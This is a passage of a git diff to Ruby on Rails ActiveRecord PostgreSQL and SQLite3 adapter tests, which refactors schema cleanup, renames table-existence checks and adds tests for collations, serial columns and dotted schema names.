@@ class SchemaTest < ActiveRecord::TestCase end teardown do - @connection.execute "DROP SCHEMA #{SCHEMA2_NAME} CASCADE" - @connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE" + @connection.drop_schema SCHEMA2_NAME, if_exists: true + @connection.drop_schema SCHEMA_NAME, if_exists: true end def test_schema_names @@ -121,10 +133,17 @@ class SchemaTest < ActiveRecord::TestCase assert !@connection.schema_names.include?("test_schema3") end + def test_drop_schema_if_exists + @connection.create_schema "some_schema" + assert_includes @connection.schema_names, "some_schema" + @connection.drop_schema "some_schema", if_exists: true + assert_not_includes @connection.schema_names, "some_schema" + end + def test_habtm_table_name_with_schema + ActiveRecord::Base.connection.drop_schema "music", if_exists: true + ActiveRecord::Base.connection.create_schema "music" ActiveRecord::Base.connection.execute <<-SQL - DROP SCHEMA IF EXISTS music CASCADE; - CREATE SCHEMA music; CREATE TABLE music.albums (id serial primary key); CREATE TABLE music.songs (id serial primary key); CREATE TABLE music.albums_songs (album_id integer, song_id integer); @@ -134,69 +153,75 @@ class SchemaTest < ActiveRecord::TestCase Album.create assert_equal song, Song.includes(:albums).references(:albums).first ensure - ActiveRecord::Base.connection.execute "DROP SCHEMA music CASCADE;" + ActiveRecord::Base.connection.drop_schema "music", if_exists: true end - def test_raise_drop_schema_with_nonexisting_schema + def test_drop_schema_with_nonexisting_schema assert_raises(ActiveRecord::StatementInvalid) do - @connection.drop_schema "test_schema3" + @connection.drop_schema "idontexist" + end + + assert_nothing_raised do + @connection.drop_schema "idontexist", if_exists: true end end - def test_raise_wraped_exception_on_bad_prepare + def test_raise_wrapped_exception_on_bad_prepare assert_raises(ActiveRecord::StatementInvalid) do - @connection.exec_query "select * from developers where id = ?", 'sql', [[nil, 1]] + @connection.exec_query "select * from developers where id = ?", 'sql', [bind_param(1)] end end - def test_schema_change_with_prepared_stmt - altered = false - @connection.exec_query "select * from developers where id = $1", 'sql', [bind_param(1)] - @connection.exec_query "alter table developers add column zomg int", 'sql', [] - altered = true - @connection.exec_query "select * from developers where id = $1", 'sql', [bind_param(1)] - ensure - # We are not using DROP COLUMN IF EXISTS because that syntax is only - # supported by pg 9.X - @connection.exec_query("alter table developers drop column zomg", 'sql', []) if altered + if ActiveRecord::Base.connection.prepared_statements + def test_schema_change_with_prepared_stmt + altered = false + @connection.exec_query "select * from developers where id = $1", 'sql', [bind_param(1)] + @connection.exec_query "alter table developers add column zomg int", 'sql', [] + altered = true + @connection.exec_query "select * from developers where id = $1", 'sql', [bind_param(1)] + ensure + # We are not using DROP COLUMN IF EXISTS because that syntax is only + # supported by pg 9.X + @connection.exec_query("alter table developers drop column zomg", 'sql', []) if altered + end end - def test_table_exists? + def test_data_source_exists? [Thing1, Thing2, Thing3, Thing4].each do |klass| name = klass.table_name - assert @connection.table_exists?(name), "'#{name}' table should exist" + assert @connection.data_source_exists?(name), "'#{name}' data_source should exist" end end - def test_table_exists_when_on_schema_search_path + def test_data_source_exists_when_on_schema_search_path with_schema_search_path(SCHEMA_NAME) do - assert(@connection.table_exists?(TABLE_NAME), "table should exist and be found") + assert(@connection.data_source_exists?(TABLE_NAME), "data_source should exist and be found") end end - def test_table_exists_when_not_on_schema_search_path + def test_data_source_exists_when_not_on_schema_search_path with_schema_search_path('PUBLIC') do - assert(!@connection.table_exists?(TABLE_NAME), "table exists but should not be found") + assert(!@connection.data_source_exists?(TABLE_NAME), "data_source exists but should not be found") end end - def test_table_exists_wrong_schema - assert(!@connection.table_exists?("foo.things"), "table should not exist") + def test_data_source_exists_wrong_schema + assert(!@connection.data_source_exists?("foo.things"), "data_source should not exist") end - def test_table_exists_quoted_names + def test_data_source_exists_quoted_names [ %("#{SCHEMA_NAME}"."#{TABLE_NAME}"), %(#{SCHEMA_NAME}."#{TABLE_NAME}"), %(#{SCHEMA_NAME}."#{TABLE_NAME}")].each do |given| - assert(@connection.table_exists?(given), "table should exist when specified as #{given}") + assert(@connection.data_source_exists?(given), "data_source should exist when specified as #{given}") end with_schema_search_path(SCHEMA_NAME) do given = %("#{TABLE_NAME}") - assert(@connection.table_exists?(given), "table should exist when specified as #{given}") + assert(@connection.data_source_exists?(given), "data_source should exist when specified as #{given}") end end - def test_table_exists_quoted_table + def test_data_source_exists_quoted_table with_schema_search_path(SCHEMA_NAME) do - assert(@connection.table_exists?('"things.table"'), "table should exist") + assert(@connection.data_source_exists?('"things.table"'), "data_source should exist") end end @@ -298,16 +323,33 @@ class SchemaTest < ActiveRecord::TestCase do_dump_index_tests_for_schema("public, #{SCHEMA_NAME}", INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN, INDEX_E_COLUMN) end + def test_dump_indexes_for_table_with_scheme_specified_in_name + indexes = @connection.indexes("#{SCHEMA_NAME}.#{TABLE_NAME}") + assert_equal 5, indexes.size + end + def test_with_uppercase_index_name @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)" - assert_nothing_raised { @connection.remove_index! "things", "#{SCHEMA_NAME}.things_Index"} - @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)" with_schema_search_path SCHEMA_NAME do - assert_nothing_raised { @connection.remove_index! "things", "things_Index"} + assert_nothing_raised { @connection.remove_index "things", name: "things_Index"} end end + def test_remove_index_when_schema_specified + @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)" + assert_nothing_raised { @connection.remove_index "things", name: "#{SCHEMA_NAME}.things_Index" } + + @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)" + assert_nothing_raised { @connection.remove_index "#{SCHEMA_NAME}.things", name: "things_Index" } + + @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)" + assert_nothing_raised { @connection.remove_index "#{SCHEMA_NAME}.things", name: "#{SCHEMA_NAME}.things_Index" } + + @connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)" + assert_raises(ArgumentError) { @connection.remove_index "#{SCHEMA2_NAME}.things", name: "#{SCHEMA_NAME}.things_Index" } + end + def test_primary_key_with_schema_specified [ %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}"), @@ -384,16 +426,16 @@ class SchemaTest < ActiveRecord::TestCase def test_reset_pk_sequence sequence_name = "#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}" @connection.execute "SELECT setval('#{sequence_name}', 123)" - assert_equal "124", @connection.select_value("SELECT nextval('#{sequence_name}')") + assert_equal 124, @connection.select_value("SELECT nextval('#{sequence_name}')") @connection.reset_pk_sequence!("#{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME}") - assert_equal "1", @connection.select_value("SELECT nextval('#{sequence_name}')") + assert_equal 1, @connection.select_value("SELECT nextval('#{sequence_name}')") end def test_set_pk_sequence table_name = "#{SCHEMA_NAME}.#{PK_TABLE_NAME}" _, sequence_name = @connection.pk_and_sequence_for table_name @connection.set_pk_sequence! table_name, 123 - assert_equal "124", @connection.select_value("SELECT nextval('#{sequence_name}')") + assert_equal 124, @connection.select_value("SELECT nextval('#{sequence_name}')") @connection.reset_pk_sequence! table_name end @@ -404,28 +446,25 @@ class SchemaTest < ActiveRecord::TestCase end end - def with_schema_search_path(schema_search_path) - @connection.schema_search_path = schema_search_path - yield if block_given? - ensure - @connection.schema_search_path = "'$user', public" - end - def do_dump_index_tests_for_schema(this_schema_name, first_index_column_name, second_index_column_name, third_index_column_name, fourth_index_column_name) with_schema_search_path(this_schema_name) do indexes = @connection.indexes(TABLE_NAME).sort_by(&:name) - assert_equal 4,indexes.size - - do_dump_index_assertions_for_one_index(indexes[0], INDEX_A_NAME, first_index_column_name) - do_dump_index_assertions_for_one_index(indexes[1], INDEX_B_NAME, second_index_column_name) - do_dump_index_assertions_for_one_index(indexes[2], INDEX_D_NAME, third_index_column_name) - do_dump_index_assertions_for_one_index(indexes[3], INDEX_E_NAME, fourth_index_column_name) - - indexes.select{|i| i.name != INDEX_E_NAME}.each do |index| - assert_equal :btree, index.using - end - assert_equal :gin, indexes.select{|i| i.name == INDEX_E_NAME}[0].using - assert_equal :desc, indexes.select{|i| i.name == INDEX_D_NAME}[0].orders[INDEX_D_COLUMN] + assert_equal 5, indexes.size + + index_a, index_b, index_c, index_d, index_e = indexes + + do_dump_index_assertions_for_one_index(index_a, INDEX_A_NAME, first_index_column_name) + do_dump_index_assertions_for_one_index(index_b, INDEX_B_NAME, second_index_column_name) + do_dump_index_assertions_for_one_index(index_d, INDEX_D_NAME, third_index_column_name) + do_dump_index_assertions_for_one_index(index_e, INDEX_E_NAME, fourth_index_column_name) + + assert_equal :btree, index_a.using + assert_equal :btree, index_b.using + assert_equal :gin, index_c.using + assert_equal :btree, index_d.using + assert_equal :gin, index_e.using + + assert_equal :desc, index_d.orders[INDEX_D_COLUMN] end end @@ -441,7 +480,7 @@ class SchemaTest < ActiveRecord::TestCase end end -class SchemaForeignKeyTest < ActiveRecord::TestCase +class SchemaForeignKeyTest < ActiveRecord::PostgreSQLTestCase include SchemaDumpingHelper setup do @@ -462,14 +501,14 @@ class SchemaForeignKeyTest < ActiveRecord::TestCase ensure @connection.drop_table "wagons", if_exists: true @connection.drop_table "my_schema.trains", if_exists: true - @connection.execute "DROP SCHEMA IF EXISTS my_schema" + @connection.drop_schema "my_schema", if_exists: true end end -class DefaultsUsingMultipleSchemasAndDomainTest < ActiveSupport::TestCase +class DefaultsUsingMultipleSchemasAndDomainTest < ActiveRecord::PostgreSQLTestCase setup do @connection = ActiveRecord::Base.connection - @connection.execute "DROP SCHEMA IF EXISTS schema_1 CASCADE" + @connection.drop_schema "schema_1", if_exists: true @connection.execute "CREATE SCHEMA schema_1" @connection.execute "CREATE DOMAIN schema_1.text AS text" @connection.execute "CREATE DOMAIN schema_1.varchar AS varchar" @@ -480,13 +519,14 @@ class DefaultsUsingMultipleSchemasAndDomainTest < ActiveSupport::TestCase @connection.create_table "defaults" do |t| t.text "text_col", default: "some value" t.string "string_col", default: "some value" + t.decimal "decimal_col", default: "3.14159265358979323846" end Default.reset_column_information end teardown do @connection.schema_search_path = @old_search_path - @connection.execute "DROP SCHEMA IF EXISTS schema_1 CASCADE" + @connection.drop_schema "schema_1", if_exists: true Default.reset_column_information end @@ -498,6 +538,10 @@ class DefaultsUsingMultipleSchemasAndDomainTest < ActiveSupport::TestCase assert_equal "some value", Default.new.string_col, "Default of string column was not correctly parsed" end + def test_decimal_defaults_in_new_schema_when_overriding_domain + assert_equal BigDecimal.new("3.14159265358979323846"), Default.new.decimal_col, "Default of decimal column was not correctly parsed" + end + def test_bpchar_defaults_in_new_schema_when_overriding_domain @connection.execute "ALTER TABLE defaults ADD bpchar_col bpchar DEFAULT 'some value'" Default.reset_column_information @@ -514,3 +558,40 @@ class DefaultsUsingMultipleSchemasAndDomainTest < ActiveSupport::TestCase assert_equal "foo'::bar", Default.new.string_col end end + +class SchemaWithDotsTest < ActiveRecord::PostgreSQLTestCase + include PGSchemaHelper + self.use_transactional_tests = false + + setup do + @connection = ActiveRecord::Base.connection + @connection.create_schema "my.schema" + end + + teardown do + @connection.drop_schema "my.schema", if_exists: true + end + + test "rename_table" do + with_schema_search_path('"my.schema"') do + @connection.create_table :posts + @connection.rename_table :posts, :articles + assert_equal ["articles"], @connection.tables + end + end + + test "Active Record basics" do + with_schema_search_path('"my.schema"') do + @connection.create_table :articles do |t| + t.string :title + end + article_class = Class.new(ActiveRecord::Base) do + self.table_name = '"my.schema".articles' + end + + article_class.create!(title: "zOMG, welcome to my blorgh!") + welcome_article = article_class.last + assert_equal "zOMG, welcome to my blorgh!", welcome_article.title + end + end +end diff --git a/activerecord/test/cases/adapters/postgresql/serial_test.rb b/activerecord/test/cases/adapters/postgresql/serial_test.rb index 458a8dae6c..8abe064bf1 100644 --- a/activerecord/test/cases/adapters/postgresql/serial_test.rb +++ b/activerecord/test/cases/adapters/postgresql/serial_test.rb @@ -1,7 +1,7 @@ require "cases/helper" require 'support/schema_dumping_helper' -class PostgresqlSerialTest < ActiveRecord::TestCase +class PostgresqlSerialTest < ActiveRecord::PostgreSQLTestCase include SchemaDumpingHelper class PostgresqlSerial < ActiveRecord::Base; end @@ -10,6 +10,7 @@ class PostgresqlSerialTest < ActiveRecord::TestCase @connection = ActiveRecord::Base.connection @connection.create_table "postgresql_serials", force: true do |t| t.serial :seq + t.integer :serials_id, default: -> { "nextval('postgresql_serials_id_seq')" } end end @@ -24,13 +25,25 @@ class PostgresqlSerialTest < ActiveRecord::TestCase assert column.serial? end + def test_not_serial_column + column = PostgresqlSerial.columns_hash["serials_id"] + assert_equal :integer, column.type + assert_equal "integer", column.sql_type + assert_not column.serial? + end + def test_schema_dump_with_shorthand output = dump_table_schema "postgresql_serials" - assert_match %r{t\.serial\s+"seq"}, output + assert_match %r{t\.serial\s+"seq",\s+null: false$}, output + end + + def test_schema_dump_with_not_serial + output = dump_table_schema "postgresql_serials" + assert_match %r{t\.integer\s+"serials_id",\s+default: -> \{ "nextval\('postgresql_serials_id_seq'::regclass\)" \}$}, output end end -class PostgresqlBigSerialTest < ActiveRecord::TestCase +class PostgresqlBigSerialTest < ActiveRecord::PostgreSQLTestCase include SchemaDumpingHelper class PostgresqlBigSerial < ActiveRecord::Base; end @@ -39,6 +52,7 @@ class PostgresqlBigSerialTest < ActiveRecord::TestCase @connection = ActiveRecord::Base.connection @connection.create_table "postgresql_big_serials", force: true do |t| t.bigserial :seq + t.bigint :serials_id, default: -> { "nextval('postgresql_big_serials_id_seq')" } end end @@ -53,8 +67,20 @@ class PostgresqlBigSerialTest < ActiveRecord::TestCase assert column.serial? end + def test_not_bigserial_column + column = PostgresqlBigSerial.columns_hash["serials_id"] + assert_equal :integer, column.type + assert_equal "bigint", column.sql_type + assert_not column.serial? + end + def test_schema_dump_with_shorthand output = dump_table_schema "postgresql_big_serials" - assert_match %r{t\.bigserial\s+"seq"}, output + assert_match %r{t\.bigserial\s+"seq",\s+null: false$}, output + end + + def test_schema_dump_with_not_bigserial + output = dump_table_schema "postgresql_big_serials" + assert_match %r{t\.bigint\s+"serials_id",\s+default: -> \{ "nextval\('postgresql_big_serials_id_seq'::regclass\)" \}$}, output end end diff --git a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb index 1497b0abc7..5aab246c99 100644 --- a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb +++ b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb @@ -13,7 +13,7 @@ module ActiveRecord end end - class StatementPoolTest < ActiveRecord::TestCase + class StatementPoolTest < ActiveRecord::PostgreSQLTestCase if Process.respond_to?(:fork) def test_cache_is_per_pid cache = StatementPool.new nil, 10 diff --git a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb index a639f98272..4c4866b46b 100644 --- a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb +++ b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb @@ -2,7 +2,7 @@ require 'cases/helper' require 'models/developer' require 'models/topic' -class PostgresqlTimestampTest < ActiveRecord::TestCase +class PostgresqlTimestampTest < ActiveRecord::PostgreSQLTestCase class PostgresqlTimestampWithZone < ActiveRecord::Base; end self.use_transactional_tests = false @@ -43,7 +43,7 @@ class PostgresqlTimestampTest < ActiveRecord::TestCase end end -class TimestampTest < ActiveRecord::TestCase +class PostgresqlTimestampFixtureTest < ActiveRecord::PostgreSQLTestCase fixtures :topics def test_group_by_date diff --git a/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb b/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb index c0907b8f21..ea0f0b8fa5 100644 --- a/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb +++ b/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb @@ -1,6 +1,6 @@ require 'cases/helper' -class PostgresqlTypeLookupTest < ActiveRecord::TestCase +class PostgresqlTypeLookupTest < ActiveRecord::PostgreSQLTestCase setup do @connection = ActiveRecord::Base.connection end @@ -18,7 +18,7 @@ class PostgresqlTypeLookupTest < ActiveRecord::TestCase bigint_array = @connection.type_map.lookup(1016, -1, "bigint[]") big_array = [123456789123456789] - assert_raises(RangeError) { int_array.serialize(big_array) } + assert_raises(ActiveModel::RangeError) { int_array.serialize(big_array) } assert_equal "{123456789123456789}", bigint_array.serialize(big_array) end @@ -27,7 +27,7 @@ class PostgresqlTypeLookupTest < ActiveRecord::TestCase bigint_range = @connection.type_map.lookup(3926, -1, "int8range") big_range = 0..123456789123456789 - assert_raises(RangeError) { int_range.serialize(big_range) } + assert_raises(ActiveModel::RangeError) { int_range.serialize(big_range) } assert_equal "[0,123456789123456789]", bigint_range.serialize(big_range) end end diff --git a/activerecord/test/cases/adapters/postgresql/utils_test.rb b/activerecord/test/cases/adapters/postgresql/utils_test.rb index 3fdb6888d9..095c1826e5 100644 --- a/activerecord/test/cases/adapters/postgresql/utils_test.rb +++ b/activerecord/test/cases/adapters/postgresql/utils_test.rb @@ -1,6 +1,7 @@ require 'cases/helper' +require 'active_record/connection_adapters/postgresql/utils' -class PostgreSQLUtilsTest < ActiveSupport::TestCase +class PostgreSQLUtilsTest < ActiveRecord::PostgreSQLTestCase Name = ActiveRecord::ConnectionAdapters::PostgreSQL::Name include ActiveRecord::ConnectionAdapters::PostgreSQL::Utils @@ -20,7 +21,7 @@ class PostgreSQLUtilsTest < ActiveSupport::TestCase end end -class PostgreSQLNameTest < ActiveSupport::TestCase +class PostgreSQLNameTest < ActiveRecord::PostgreSQLTestCase Name = ActiveRecord::ConnectionAdapters::PostgreSQL::Name test "represents itself as schema.name" do diff --git a/activerecord/test/cases/adapters/postgresql/uuid_test.rb b/activerecord/test/cases/adapters/postgresql/uuid_test.rb index e9379a1019..7628075ad2 100644 --- a/activerecord/test/cases/adapters/postgresql/uuid_test.rb +++ b/activerecord/test/cases/adapters/postgresql/uuid_test.rb @@ -11,7 +11,7 @@ module PostgresqlUUIDHelper end end -class PostgresqlUUIDTest < ActiveRecord::TestCase +class PostgresqlUUIDTest < ActiveRecord::PostgreSQLTestCase include PostgresqlUUIDHelper include SchemaDumpingHelper @@ -20,6 +20,8 @@ class PostgresqlUUIDTest < ActiveRecord::TestCase end setup do + enable_extension!('uuid-ossp', connection) + connection.create_table "uuid_data_type" do |t| t.uuid 'guid' end @@ -135,7 +137,7 @@ class PostgresqlUUIDTest < ActiveRecord::TestCase end end -class PostgresqlUUIDGenerationTest < ActiveRecord::TestCase +class PostgresqlUUIDGenerationTest < ActiveRecord::PostgreSQLTestCase include PostgresqlUUIDHelper include SchemaDumpingHelper @@ -144,8 +146,6 @@ class PostgresqlUUIDGenerationTest < ActiveRecord::TestCase end setup do - enable_extension!('uuid-ossp', connection) - connection.create_table('pg_uuids', id: :uuid, default: 'uuid_generate_v1()') do |t| t.string 'name' t.uuid 'other_uuid', default: 'uuid_generate_v4()' @@ -170,7 +170,6 @@ class PostgresqlUUIDGenerationTest < ActiveRecord::TestCase drop_table "pg_uuids" drop_table 'pg_uuids_2' connection.execute 'DROP FUNCTION IF EXISTS my_uuid_generator();' - disable_extension!('uuid-ossp', connection) end if ActiveRecord::Base.connection.supports_extensions? @@ -198,25 +197,23 @@ class PostgresqlUUIDGenerationTest < ActiveRecord::TestCase def test_schema_dumper_for_uuid_primary_key schema = dump_table_schema "pg_uuids" - assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: "uuid_generate_v1\(\)"/, schema) - assert_match(/t\.uuid "other_uuid", default: "uuid_generate_v4\(\)"/, schema) + assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: -> { "uuid_generate_v1\(\)" }/, schema) + assert_match(/t\.uuid "other_uuid", default: -> { "uuid_generate_v4\(\)" }/, schema) end def test_schema_dumper_for_uuid_primary_key_with_custom_default schema = dump_table_schema "pg_uuids_2" - assert_match(/\bcreate_table "pg_uuids_2", id: :uuid, default: "my_uuid_generator\(\)"/, schema) - assert_match(/t\.uuid "other_uuid_2", default: "my_uuid_generator\(\)"/, schema) + assert_match(/\bcreate_table "pg_uuids_2", id: :uuid, default: -> { "my_uuid_generator\(\)" }/, schema) + assert_match(/t\.uuid "other_uuid_2", default: -> { "my_uuid_generator\(\)" }/, schema) end end end -class PostgresqlUUIDTestNilDefault < ActiveRecord::TestCase +class PostgresqlUUIDTestNilDefault < ActiveRecord::PostgreSQLTestCase include PostgresqlUUIDHelper include SchemaDumpingHelper setup do - enable_extension!('uuid-ossp', connection) - connection.create_table('pg_uuids', id: false) do |t| t.primary_key :id, :uuid, default: nil t.string 'name' @@ -225,7 +222,6 @@ class PostgresqlUUIDTestNilDefault < ActiveRecord::TestCase teardown do drop_table "pg_uuids" - disable_extension!('uuid-ossp', connection) end if ActiveRecord::Base.connection.supports_extensions? @@ -244,7 +240,7 @@ class PostgresqlUUIDTestNilDefault < ActiveRecord::TestCase end end -class PostgresqlUUIDTestInverseOf < ActiveRecord::TestCase +class PostgresqlUUIDTestInverseOf < ActiveRecord::PostgreSQLTestCase include PostgresqlUUIDHelper class UuidPost < ActiveRecord::Base @@ -258,8 +254,6 @@ class PostgresqlUUIDTestInverseOf < ActiveRecord::TestCase end setup do - enable_extension!('uuid-ossp', connection) - connection.transaction do connection.create_table('pg_uuid_posts', id: :uuid) do |t| t.string 'title' @@ -274,7 +268,6 @@ class PostgresqlUUIDTestInverseOf < ActiveRecord::TestCase teardown do drop_table "pg_uuid_comments" drop_table "pg_uuid_posts" - disable_extension!('uuid-ossp', connection) end if ActiveRecord::Base.connection.supports_extensions? diff --git a/activerecord/test/cases/adapters/postgresql/view_test.rb b/activerecord/test/cases/adapters/postgresql/view_test.rb deleted file mode 100644 index 8a8e1d3b17..0000000000 --- a/activerecord/test/cases/adapters/postgresql/view_test.rb +++ /dev/null @@ -1,63 +0,0 @@ -require "cases/helper" -require "cases/view_test" - -class UpdateableViewTest < ActiveRecord::TestCase - fixtures :books - - class PrintedBook < ActiveRecord::Base - self.primary_key = "id" - end - - setup do - @connection = ActiveRecord::Base.connection - @connection.execute <<-SQL - CREATE VIEW printed_books - AS SELECT id, name, status, format FROM books WHERE format = 'paperback' - SQL - end - - teardown do - @connection.execute "DROP VIEW printed_books" if @connection.table_exists? "printed_books" - end - - def test_update_record - book = PrintedBook.first - book.name = "AWDwR" - book.save! - book.reload - assert_equal "AWDwR", book.name - end - - def test_insert_record - PrintedBook.create! name: "Rails in Action", status: 0, format: "paperback" - - new_book = PrintedBook.last - assert_equal "Rails in Action", new_book.name - end - - def test_update_record_to_fail_view_conditions - book = PrintedBook.first - book.format = "ebook" - book.save! - - assert_raises ActiveRecord::RecordNotFound do - book.reload - end - end -end - -if ActiveRecord::Base.connection.supports_materialized_views? -class MaterializedViewTest < ActiveRecord::TestCase - include ViewBehavior - - private - def create_view(name, query) - @connection.execute "CREATE MATERIALIZED VIEW #{name} AS #{query}" - end - - def drop_view(name) - @connection.execute "DROP MATERIALIZED VIEW #{name}" if @connection.table_exists? name - - end -end -end diff --git a/activerecord/test/cases/adapters/postgresql/xml_test.rb b/activerecord/test/cases/adapters/postgresql/xml_test.rb index b097deb2f4..add32699fa 100644 --- a/activerecord/test/cases/adapters/postgresql/xml_test.rb +++ b/activerecord/test/cases/adapters/postgresql/xml_test.rb @@ -1,7 +1,7 @@ require 'cases/helper' require 'support/schema_dumping_helper' -class PostgresqlXMLTest < ActiveRecord::TestCase +class PostgresqlXMLTest < ActiveRecord::PostgreSQLTestCase include SchemaDumpingHelper class XmlDataType < ActiveRecord::Base self.table_name = 'xml_data_type' diff --git a/activerecord/test/cases/adapters/sqlite3/collation_test.rb b/activerecord/test/cases/adapters/sqlite3/collation_test.rb new file mode 100644 index 0000000000..58a9469ce5 --- /dev/null +++ b/activerecord/test/cases/adapters/sqlite3/collation_test.rb @@ -0,0 +1,53 @@ +require "cases/helper" +require 'support/schema_dumping_helper' + +class SQLite3CollationTest < ActiveRecord::SQLite3TestCase + include SchemaDumpingHelper + + def setup + @connection = ActiveRecord::Base.connection + @connection.create_table :collation_table_sqlite3, force: true do |t| + t.string :string_nocase, collation: 'NOCASE' + t.text :text_rtrim, collation: 'RTRIM' + end + end + + def teardown + @connection.drop_table :collation_table_sqlite3, if_exists: true + end + + test "string column with collation" do + column = @connection.columns(:collation_table_sqlite3).find { |c| c.name == 'string_nocase' } + assert_equal :string, column.type + assert_equal 'NOCASE', column.collation + end + + test "text column with collation" do + column = @connection.columns(:collation_table_sqlite3).find { |c| c.name == 'text_rtrim' } + assert_equal :text, column.type + assert_equal 'RTRIM', column.collation + end + + test "add column with collation" do + @connection.add_column :collation_table_sqlite3, :title, :string, collation: 'RTRIM' + + column = @connection.columns(:collation_table_sqlite3).find { |c| c.name == 'title' } + assert_equal :string, column.type + assert_equal 'RTRIM', column.collation + end + + test "change column with collation" do + @connection.add_column :collation_table_sqlite3, :description, :string + @connection.change_column :collation_table_sqlite3, :description, :text, collation: 'RTRIM' + + column = @connection.columns(:collation_table_sqlite3).find { |c| c.name == 'description' } + assert_equal :text, column.type + assert_equal 'RTRIM', column.collation + end + + test "schema dump includes collation" do + output = dump_table_schema("collation_table_sqlite3") + assert_match %r{t.string\s+"string_nocase",\s+collation: "NOCASE"$}, output + assert_match %r{t.text\s+"text_rtrim",\s+collation: "RTRIM"$}, output + end +end diff --git a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb index 13b754d226..34e3b2e023 100644 --- a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb +++ b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb @@ -1,6 +1,6 @@ require "cases/helper" -class CopyTableTest < ActiveRecord::TestCase +class CopyTableTest < ActiveRecord::SQLite3TestCase fixtures :customers def setup diff --git a/activerecord/test/cases/adapters/sqlite3/explain_test.rb b/activerecord/test/cases/adapters/sqlite3/explain_test.rb index 7d66c44798..a1a6e5f16a 100644 --- a/activerecord/test/cases/adapters/sqlite3/explain_test.rb +++ b/activerecord/test/cases/adapters/sqlite3/explain_test.rb @@ -2,26 +2,20 @@ require "cases/helper" require 'models/developer' require 'models/computer' -module ActiveRecord - module ConnectionAdapters - class SQLite3Adapter - class ExplainTest < ActiveRecord::TestCase - fixtures :developers +class SQLite3ExplainTest < ActiveRecord::SQLite3TestCase + fixtures :developers - def test_explain_for_one_query - explain = Developer.where(:id => 1).explain - assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = ?), explain - assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain) - end + def test_explain_for_one_query + explain = Developer.where(id: 1).explain + assert_match %r(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = (?:\?|1)), explain + assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain) + end - def test_explain_with_eager_loading - explain = Developer.where(:id => 1).includes(:audit_logs).explain - assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = ?), explain - assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain) - assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" = 1), explain - assert_match(/(SCAN )?TABLE audit_logs/, explain) - end - end - end + def test_explain_with_eager_loading + explain = Developer.where(id: 1).includes(:audit_logs).explain + assert_match %r(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = (?:\?|1)), explain + assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain) + assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" = 1), explain + assert_match(/(SCAN )?TABLE audit_logs/, explain) end end diff --git a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb index 243f65df98..f3ec2b98d3 100644 --- a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb +++ b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb @@ -6,11 +6,9 @@ require 'securerandom' module ActiveRecord module ConnectionAdapters class SQLite3Adapter - class QuotingTest < ActiveRecord::TestCase + class QuotingTest < ActiveRecord::SQLite3TestCase def setup - @conn = Base.sqlite3_connection :database => ':memory:', - :adapter => 'sqlite3', - :timeout => 100 + @conn = ActiveRecord::Base.connection end def test_type_cast_binary_encoding_without_logger @@ -89,6 +87,13 @@ module ActiveRecord assert_equal "'hello'", @conn.quote(type.serialize(value)) end + + def test_quoted_time_returns_date_qualified_time + value = ::Time.utc(2000, 1, 1, 12, 30, 0, 999999) + type = Type::Time.new + + assert_equal "'2000-01-01 12:30:00.999999'", @conn.quote(type.serialize(value)) + end end end end diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb index 27f4ba8eb6..bbc9f978bf 100644 --- a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb +++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb @@ -5,7 +5,7 @@ require 'support/ddl_helper' module ActiveRecord module ConnectionAdapters - class SQLite3AdapterTest < ActiveRecord::TestCase + class SQLite3AdapterTest < ActiveRecord::SQLite3TestCase include DdlHelper self.use_transactional_tests = false @@ -130,11 +130,6 @@ module ActiveRecord assert_equal 'UTF-8', @conn.encoding end - def test_bind_value_substitute - bind_param = @conn.substitute_at('foo') - assert_equal Arel.sql('?'), bind_param.to_sql - end - def test_exec_no_binds with_example_table 'id int, data string' do result = 